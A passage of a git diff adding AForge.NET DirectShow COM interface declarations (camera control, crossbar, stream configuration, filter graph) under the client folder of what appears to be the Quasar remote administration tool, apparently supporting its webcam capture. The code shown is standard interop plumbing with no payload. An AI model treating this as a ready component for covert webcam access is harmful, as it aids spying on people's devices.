ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCameraControl + { + /// + /// Gets the range and default value of a specified camera property. + /// + /// + /// Specifies the property to query. + /// Receives the minimum value of the property. + /// Receives the maximum value of the property. + /// Receives the step size for the property. + /// Receives the default value of the property. + /// Receives a member of the CameraControlFlags enumeration, indicating whether the property is controlled automatically or manually. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetRange( + [In] CameraControlProperty Property, + [Out] out int pMin, + [Out] out int pMax, + [Out] out int pSteppingDelta, + [Out] out int pDefault, + [Out] out CameraControlFlags pCapsFlags + ); + + /// + /// Sets a specified property on the camera. + /// + /// + /// Specifies the property to set. + /// Specifies the new value of the property. + /// Specifies the desired control setting, as a member of the CameraControlFlags enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Set( + [In] CameraControlProperty Property, + [In] int lValue, + [In] CameraControlFlags Flags + ); + + /// + /// Gets the current setting of a camera property. + /// + /// + /// Specifies the property to retrieve. + /// Receives the value of the property. + /// Receives a member of the CameraControlFlags enumeration. + /// The returned value indicates whether the setting is controlled manually or automatically. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Get( + [In] CameraControlProperty Property, + [Out] out int lValue, + [Out] out CameraControlFlags Flags + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs new file mode 100755 index 0000000..b67fc09 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMCrossbar.cs @@ -0,0 +1,88 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2012 +// contacts@aforgenet.com +// + +using System; +using System.Runtime.InteropServices; + +namespace AForge.Video.DirectShow.Internals +{ + /// + /// The IAMCrossbar interface routes signals from an analog or digital source to a video capture filter. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "C6E13380-30AC-11D0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMCrossbar + { + /// + /// Retrieves the number of input and output pins on the crossbar filter. + /// + /// + /// Variable that receives the number of output pins. + /// Variable that receives the number of input pins. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_PinCounts( [Out] out int outputPinCount, [Out] out int inputPinCount ); + + /// + /// Queries whether a specified input pin can be routed to a specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CanRoute( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Routes an input pin to an output pin. + /// + /// + /// Specifies the index of the output pin. + /// Specifies the index of the input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Route( [In] int outputPinIndex, [In] int inputPinIndex ); + + /// + /// Retrieves the input pin that is currently routed to the specified output pin. + /// + /// + /// Specifies the index of the output pin. + /// Variable that receives the index of the input pin, or -1 if no input pin is routed to this output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_IsRoutedTo( [In] int outputPinIndex, [Out] out int inputPinIndex ); + + /// + /// Retrieves information about a specified pin. + /// + /// + /// Specifies the direction of the pin. Use one of the following values. + /// Specifies the index of the pin. + /// Variable that receives the index of the related pin, or –1 if no pin is related to this pin. + /// Variable that receives a member of the PhysicalConnectorType enumeration, indicating the pin's physical type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_CrossbarPinInfo( + [In, MarshalAs( UnmanagedType.Bool )] bool isInputPin, + [In] int pinIndex, + [Out] out int pinIndexRelated, + [Out] out PhysicalConnectorType physicalType ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs new file mode 100755 index 0000000..e72f06e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMStreamConfig.cs @@ -0,0 +1,74 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface sets the output format on certain capture and compression filters, + /// for both audio and video. + /// + /// + [ComImport, + Guid( "C6E13340-30AC-11d0-A18C-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMStreamConfig + { + /// + /// Set the output format on the pin. + /// + /// + /// Media type to set. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFormat( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the audio or video stream's format. + /// + /// + /// Retrieved media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFormat( [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType ); + + /// + /// Retrieve the number of format capabilities that this pin supports. + /// + /// + /// Variable that receives the number of format capabilities. + /// Variable that receives the size of the configuration structure in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNumberOfCapabilities( out int count, out int size ); + + /// + /// Retrieve a set of format capabilities. + /// + /// + /// Specifies the format capability to retrieve, indexed from zero. + /// Retrieved media type. + /// Byte array, which receives information about capabilities. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetStreamCaps( + [In] int index, + [Out, MarshalAs( UnmanagedType.LPStruct )] out AMMediaType mediaType, + [In, MarshalAs( UnmanagedType.LPStruct )] VideoStreamConfigCaps streamConfigCaps + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs new file mode 100755 index 0000000..cb57dfe --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IAMVideoControl.cs @@ -0,0 +1,112 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface controls certain video capture operations such as enumerating available + /// frame rates and image orientation. + /// + /// + [ComImport, + Guid( "6A2E0670-28E4-11D0-A18c-00A0C9118956" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IAMVideoControl + { + /// + /// Retrieves the capabilities of the underlying hardware. + /// + /// + /// Pin to query capabilities from. + /// Get capabilities of the specified pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCaps( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags flags ); + + /// + /// Sets the video control mode of operation. + /// + /// + /// The pin to set the video control mode on. + /// Value specifying a combination of the flags to set the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMode( [In] IPin pin, [In, MarshalAs( UnmanagedType.I4 )] VideoControlFlags mode ); + + /// + /// Retrieves the video control mode of operation. + /// + /// + /// The pin to retrieve the video control mode from. + /// Gets combination of flags, which specify the video control mode. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMode( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I4 )] out VideoControlFlags mode ); + + /// + /// The method retrieves the actual frame rate, expressed as a frame duration in 100-nanosecond units. + /// USB (Universal Serial Bus) and IEEE 1394 cameras may provide lower frame rates than requested + /// because of bandwidth availability. This is only available during video streaming. + /// + /// + /// The pin to retrieve the frame rate from. + /// Gets frame rate in frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentActualFrameRate( [In] IPin pin, [Out, MarshalAs( UnmanagedType.I8 )] out long actualFrameRate ); + + /// + /// Retrieves the maximum frame rate currently available based on bus bandwidth usage for connections + /// such as USB and IEEE 1394 camera devices where the maximum frame rate can be limited by bandwidth + /// availability. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Gets maximum available frame rate. The frame rate is expressed as frame duration in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetMaxAvailableFrameRate( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out long maxAvailableFrameRate ); + + /// + /// Retrieves a list of available frame rates. + /// + /// + /// The pin to retrieve the maximum frame rate from. + /// Index of the format to query for maximum frame rate. This index corresponds + /// to the order in which formats are enumerated by . + /// Frame image size (width and height) in pixels. + /// Number of elements in the list of frame rates. + /// Array of frame rates in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFrameRateList( [In] IPin pin, [In] int index, + [In] System.Drawing.Size dimensions, + [Out] out int listSize, + [Out] out IntPtr frameRate ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs new file mode 100755 index 0000000..3c03a31 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IBaseFilter.cs @@ -0,0 +1,161 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IBaseFilter interface provides methods for controlling a filter. + /// All DirectShow filters expose this interface + /// + /// + [ComImport, + Guid( "56A86895-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IBaseFilter + { + // --- IPersist Methods + + /// + /// Returns the class identifier (CLSID) for the component object. + /// + /// + /// Points to the location of the CLSID on return. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetClassID( [Out] out Guid ClassID ); + + // --- IMediaFilter Methods + + /// + /// Stops the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Pauses the filter. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Runs the filter. + /// + /// + /// Reference time corresponding to stream time 0. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( long start ); + + /// + /// Retrieves the state of the filter (running, stopped, or paused). + /// + /// + /// Time-out interval, in milliseconds. + /// Pointer to a variable that receives filter's state. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int milliSecsTimeout, [Out] out int filterState ); + + /// + /// Sets the reference clock for the filter or the filter graph. + /// + /// + /// Pointer to the clock's IReferenceClock interface, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetSyncSource( [In] IntPtr clock ); + + /// + /// Retrieves the current reference clock. + /// + /// + /// Address of a variable that receives a pointer to the clock's IReferenceClock interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetSyncSource( [Out] out IntPtr clock ); + + // --- IBaseFilter Methods + + /// + /// Enumerates the pins on this filter. + /// + /// + /// Address of a variable that receives a pointer to the IEnumPins interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumPins( [Out] out IEnumPins enumPins ); + + /// + /// Retrieves the pin with the specified identifier. + /// + /// + /// Pointer to a constant wide-character string that identifies the pin. + /// Address of a variable that receives a pointer to the pin's IPin interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( [In, MarshalAs( UnmanagedType.LPWStr )] string id, [Out] out IPin pin ); + + /// + /// Retrieves information about the filter. + /// + /// + /// Pointer to FilterInfo structure. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryFilterInfo( [Out] out FilterInfo filterInfo ); + + /// + /// Notifies the filter that it has joined or left the filter graph. + /// + /// + /// Pointer to the Filter Graph Manager's IFilterGraph interface, or NULL + /// if the filter is leaving the graph. + /// String that specifies a name for the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int JoinFilterGraph( [In] IFilterGraph graph, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Retrieves a string containing vendor information. + /// + /// + /// Receives a string containing the vendor information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryVendorInfo( [Out, MarshalAs( UnmanagedType.LPWStr )] out string vendorInfo ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs new file mode 100755 index 0000000..4ef802a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICaptureGraphBuilder2.cs @@ -0,0 +1,192 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface builds capture graphs and other custom filter graphs. + /// + /// + [ComImport, + Guid( "93E5A4E0-2D50-11d2-ABFA-00A0C9C6E38D" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICaptureGraphBuilder2 + { + /// + /// Specify filter graph for the capture graph builder to use. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetFiltergraph( [In] IGraphBuilder graphBuilder ); + + /// + /// Retrieve the filter graph that the builder is using. + /// + /// + /// Filter graph's interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetFiltergraph( [Out] out IGraphBuilder graphBuilder ); + + /// + /// Create file writing section of the filter graph. + /// + /// + /// GUID that represents either the media subtype of the output or the + /// class identifier (CLSID) of a multiplexer filter or file writer filter. + /// Output file name. + /// Receives the multiplexer's interface. + /// Receives the file writer's IFileSinkFilter interface. Can be NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOutputFileName( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [Out] out IBaseFilter baseFilter, + [Out] out IntPtr fileSinkFilter + ); + + /// + /// Searche the graph for a specified interface, starting from a specified filter. + /// + /// + /// GUID that specifies the search criteria. + /// GUID that specifies the major media type of an output pin, or NULL. + /// interface of the filter. The method begins searching from this filter. + /// Interface identifier (IID) of the interface to locate. + /// Receives found interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindInterface( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid type, + [In] IBaseFilter baseFilter, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid interfaceID , + [Out, MarshalAs( UnmanagedType.IUnknown )] out object retInterface + ); + + /// + /// Connect an output pin on a source filter to a rendering filter, optionally through a compression filter. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type of the output pin. + /// Starting filter for the connection. + /// Interface of an intermediate filter, such as a compression filter. Can be NULL. + /// Sink filter, such as a renderer or mux filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] IBaseFilter compressor, + [In] IBaseFilter renderer + ); + + /// + /// Set the start and stop times for one or more streams of captured data. + /// + /// + /// Pin category. + /// Major-type GUID that specifies the media type. + /// interface that specifies which filter to control. + /// Start time. + /// Stop time. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STARTED event notification. + /// Value that is sent as the second parameter of the + /// EC_STREAM_CONTROL_STOPPED event notification. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ControlStream( + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Interface )] IBaseFilter filter, + [In] long start, + [In] long stop, + [In] short startCookie, + [In] short stopCookie + ); + + /// + /// Preallocate a capture file to a specified size. + /// + /// + /// File name to create or resize. + /// Size of the file to allocate, in bytes. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AllocCapFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In] long size + ); + + /// + /// Copy the valid media data from a capture file. + /// + /// + /// Old file name. + /// New file name. + /// Boolean value that specifies whether pressing the ESC key cancels the copy operation. + /// IAMCopyCaptureFileProgress interface to display progress information, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CopyCaptureFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string oldFileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string newFileName, + [In, MarshalAs( UnmanagedType.Bool )] bool allowEscAbort, + [In] IntPtr callback + ); + + /// + /// + /// + /// + /// Interface on a filter, or to an interface on a pin. + /// Pin direction (input or output). + /// Pin category. + /// Media type. + /// Boolean value that specifies whether the pin must be unconnected. + /// Zero-based index of the pin to retrieve, from the set of matching pins. + /// Interface of the matching pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindPin( + [In, MarshalAs( UnmanagedType.IUnknown )] object source, + [In] PinDirection pinDirection, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid category, + [In, MarshalAs( UnmanagedType.LPStruct )] Guid mediaType, + [In, MarshalAs( UnmanagedType.Bool )] bool unconnected, + [In] int index, + [Out, MarshalAs( UnmanagedType.Interface )] out IPin pin + ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs new file mode 100755 index 0000000..81e4b59 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ICreateDevEnum.cs @@ -0,0 +1,37 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// The ICreateDevEnum interface creates an enumerator for devices within a particular category, + /// such as video capture devices, audio capture devices, video compressors, and so forth. + /// + /// + [ComImport, + Guid( "29840822-5B84-11D0-BD3B-00A0C911CE86" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ICreateDevEnum + { + /// + /// Creates a class enumerator for a specified device category. + /// + /// + /// Specifies the class identifier of the device category. + /// Address of a variable that receives an IEnumMoniker interface pointer + /// Bitwise combination of zero or more flags. If zero, the method enumerates every filter in the category. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CreateClassEnumerator( [In] ref Guid type, [Out] out IEnumMoniker enumMoniker, [In] int flags ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs new file mode 100755 index 0000000..a4c8eb9 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumFilters.cs @@ -0,0 +1,71 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007-2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is used by applications or other filters to determine + /// what filters exist in the filter graph. + /// + /// + [ComImport, + Guid( "56A86893-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumFilters + { + /// + /// Retrieves the specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to retrieve. + /// Array in which to place interfaces. + /// Actual number of filters placed in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cFilters, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IBaseFilter[] filters, + [Out] out int filtersFetched ); + + /// + /// Skips a specified number of filters in the enumeration sequence. + /// + /// + /// Number of filters to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cFilters ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// + /// Return's HRESULT error code. + /// + /// + [PreserveSig] + int Clone( [Out] out IEnumFilters enumFilters ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs new file mode 100755 index 0000000..41e1f74 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IEnumPins.cs @@ -0,0 +1,68 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// Enumerates pins on a filter. + /// + /// + [ComImport, + Guid( "56A86892-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IEnumPins + { + /// + /// Retrieves a specified number of pins. + /// + /// + /// Number of pins to retrieve. + /// Array of size cPins that is filled with IPin pointers. + /// Receives the number of pins retrieved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Next( [In] int cPins, + [Out, MarshalAs( UnmanagedType.LPArray, SizeParamIndex = 0 )] IPin[] pins, + [Out] out int pinsFetched ); + + /// + /// Skips a specified number of pins in the enumeration sequence. + /// + /// + /// Number of pins to skip. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Skip( [In] int cPins ); + + /// + /// Resets the enumeration sequence to the beginning. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reset( ); + + /// + /// Makes a copy of the enumerator with the same enumeration state. + /// + /// + /// Duplicate of the enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Clone( [Out] out IEnumPins enumPins ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs new file mode 100755 index 0000000..7d21c5f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph.cs @@ -0,0 +1,113 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for building a filter graph. An application can use it to add filters to + /// the graph, connect or disconnect filters, remove filters, and perform other basic operations. + /// + /// + [ComImport, + Guid( "56A8689F-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IFilterGraph + { + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IntPtr enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs new file mode 100755 index 0000000..b4dbf4c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IFilterGraph2.cs @@ -0,0 +1,257 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright © Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Runtime.InteropServices.ComTypes; + + /// + /// This interface extends the and + /// interfaces, which contain methods for building filter graphs. + /// + /// + [ComImport, + Guid("36B73882-C2C8-11CF-8B46-00805F6CEF60"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface IFilterGraph2 + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList ); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 